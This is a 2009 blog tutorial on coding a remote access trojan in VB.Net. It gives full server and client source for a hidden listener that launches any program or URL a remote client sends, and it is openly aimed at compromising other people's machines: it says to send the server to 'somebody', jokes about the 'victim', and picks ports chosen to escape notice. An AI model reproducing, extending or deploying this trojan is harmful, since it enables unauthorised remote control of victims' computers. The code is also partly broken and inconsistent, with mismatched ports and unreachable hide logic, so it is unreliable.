Saturday, June 27, 2009

Trojan Coding

In VB.Net


THIS CODE IS JUST A START TO WHAT CAN BE ACCOMPLISHED,IT IS JUST A BASE FOR WHAT YOU NEED TO KNOW,i also explain in the tut how to expand onto the code,its not easy but this is less flawless than any script kiddie program you'll find like bo2k or sub7.odds are if your a n00b wanting to hack your friend with sub 7 you wont find it(hakemate.com,sites in Spanish and you have to find out yourself how to register) and bo2k will be to advanced for you,so make your own!


first off a RAT is a computer program that allows you to remotely access the computer running a server file,the RAT consists of 2 programs a client and a server.you run the client which connects to a port on a remote ip running the server

RAT stands for (Remote Access Trojan/Tool)

the server is set to listen on a specific port,high numbers such as 16995 and other 5 digit numbers are best so the port is not easily recognized by certain computer applications its also best to stay away from 12345 and 54321 etc...

but now that you under stand the basics(hopefully)
this is what you need to do to create and program your own

(i) download vb express or buy/hack visual studio pro

now create a new windows application
name it "server"
double click the forum to edit the code
at the top of the code file put


Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32


all this does is allow easy access to certain commands,for example system.io allows access to file commands

file.open(path)
compared to
System.IO.File.Open(Path)


so now we need to create a listing socket which opens a port on the host computer with this.
place this in the form1_class code before form1_load


Dim port As Integer = 6961
Dim tcpc As New TcpListener(port)

now a new tcp client

Dim port As Integer = 6961
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)


now we need a function that allows us to enable listing on the port when it is called,place this below the code you just wrote

Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try

End Sub


what this does is creates a function to call which try's to allow the listener to start listening and when the client try's to connect it accepts it and if it fails it just retrys again

now the complicated part.now we need to create a network stream that allows us to send and receive data from the client and place it in a function



Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)



If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub


this script is actually quite simple,all id does is say id the listener is connected to a socket it redirects the connection to a socket in the server
and if the server socket is connected it trys to receive the sockets data stream.
it then defines "bit" as a byte readable by the server data stream and gets its total size,it then tells the socket to read the incoming data,once it is all received it creates a string used to receive string data sent by the client.
it then defines a string array that splits string data received and the id sent so the server knows what command to execute determined by the if statement.

this next if statement says if the first string in the array "id" is equal to 0 then a string is defined as the second string in the array "id" and then a process is started from the path depicted from id(1) the second string in that array.

so now all we need to do is tell the program to run these functions in the form1_load command that is already present,in that sub form put this code


While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While


While True
check()
End While
Me.Hide()


this allows the server to start listening and once it has found a connection it runs the check() function to preform the actions that allows the socket to read the data then hides the form for added security.
now your server is finished and we must now create the client which is a bit more complicated believe it or not


(ii) Again create a new windows application in vb.net and on the form place 3 text boxes and 2 buttons and 3 labels

give button 1 the text "connect"

and give button 2 the text "send"

now before anything special happens we need our basic code,double click form 1 to edit the code,now like in the server above everything in the code,even form1 class put the code

Imports System.Net
Imports System.Net.Sockets


now in the class code put

Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961


like before this defines a tcp client to connect to the server
it creates a non-text variable for the ip adress for the socket to connect to,for some reason Microsoft is just gay and doesn't allow you to use a string with the socket.connect() command do all this does is turn a string into an ip address then it defines a variable called port with the value 6961 which can be changed



now the fun stuff (sarcasm)

below all your variable definitions place the code


Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)

Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub


this creates a function named connect() when it is called it sets the value of "ip" to what you have written in text box 1 and then port is set to what you have in text box 2

now with these 2 values the socket naked sock trys to connect to the ip and port that where defined and if the connection fails an error message is shown saying "Can not connect to designated ip at this time" feel free to change that to w/e you may like now we need a function to be called when we want to send data to the connected socket


Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub


so now when you call dat() you need a string in the () to be sent
but well worry about that later,it defines nstream as "sock's" data stream then defines bit as a byte that encrypts the text into bytes that can be sent over to the server,then the data stream sends the string now go back to the design of form 1 where you inserted the text boxes and stuff then double click button1 and in between the brackets of the button1_click put this code


connect()

this calls the function connect() which allows the socket to try and connect to the designated port/ip

now do the same thing to button 2,and for the button2_click put


dat("0*" + TextBox3.Text)

this calls the dat() function and attaches the string "0*" which is the id of the string being sent to the server plus the text in text box 3 which should be a path to an application such as "c:\windows\virus.exe" or something or it can also be a web page you want opened like "http://www.freeporntoinfectmycomputerwithviruses.com" without the quotes of coarse
so the string sent would look like this

The * is needed to separate the string once it is decoded in the server,so if you want to send more than the id and 1 string you need to separate them with *
like this


dat("0*" + TextBox3.Text + "*" + TextBox4.Text)

this would do nothing as there is no text box 4 because this is only an example,and since there is no text box 4 an error would be generated,but that is how you would do it

now that's basically it,this is basically it for the client.this script is very versatile as dat() can be called on any button press/keypress ect... so if you want more features lets say one create a message on the computer with the server you would use this in a separate button press pointing to another text box like this


dat("1*" + TextBox4.Text)

which just send the text with a new id to the server,but you must modify the server to recognize that id as well

so to do that the code


Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 1 Then
Dim stri As String = id(1)
Process.Start(stri)
End If

Catch ex As Exception
check()
End Try
End If
End Sub


should now be

Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If

If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If

Catch ex As Exception
check()
End Try
End If
End Sub


this has been added

If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If



so if id(0) is 1 which is the command id it creates a message box with the text sent after the id so it would be whatever you made text box 3 say in your client

So now you should save and build both the server and the client because your ready to go,this is all my code hand written and thought of by me so there shouldn't be another method like this.

NOW to use this application,send the server to somebody and once they have opned it,it should start listening on the port defined in the server,which is 69691 but can be changed,so once you have somebody running the server you need there ip,look on the web for tutorials on how to find an ip through email,aim,msn,or even message boards

so now once you have the victim's uhh i mean host's ip open the client and in text box 1 put the ip address and in text box 2 put the port,now click connect,an error should come up if you cannot connect,now once connected put a url or path in text box 3 and hit send,this should open a webpage on the hosts computer.


------SERVER------

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32

Public Class Form1
Dim port As Integer = 6961
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)
Dim place As String

Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try

End Sub

Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load


While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While

While True
check()
End While
Me.Hide()
End Sub
End Class


-
-----Client------

Imports System.Net
Imports System.Net.Sockets

Public Class Form1
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961

Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)

Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub

Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
connect()
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

dat("0*" + TextBox3.Text)
End Sub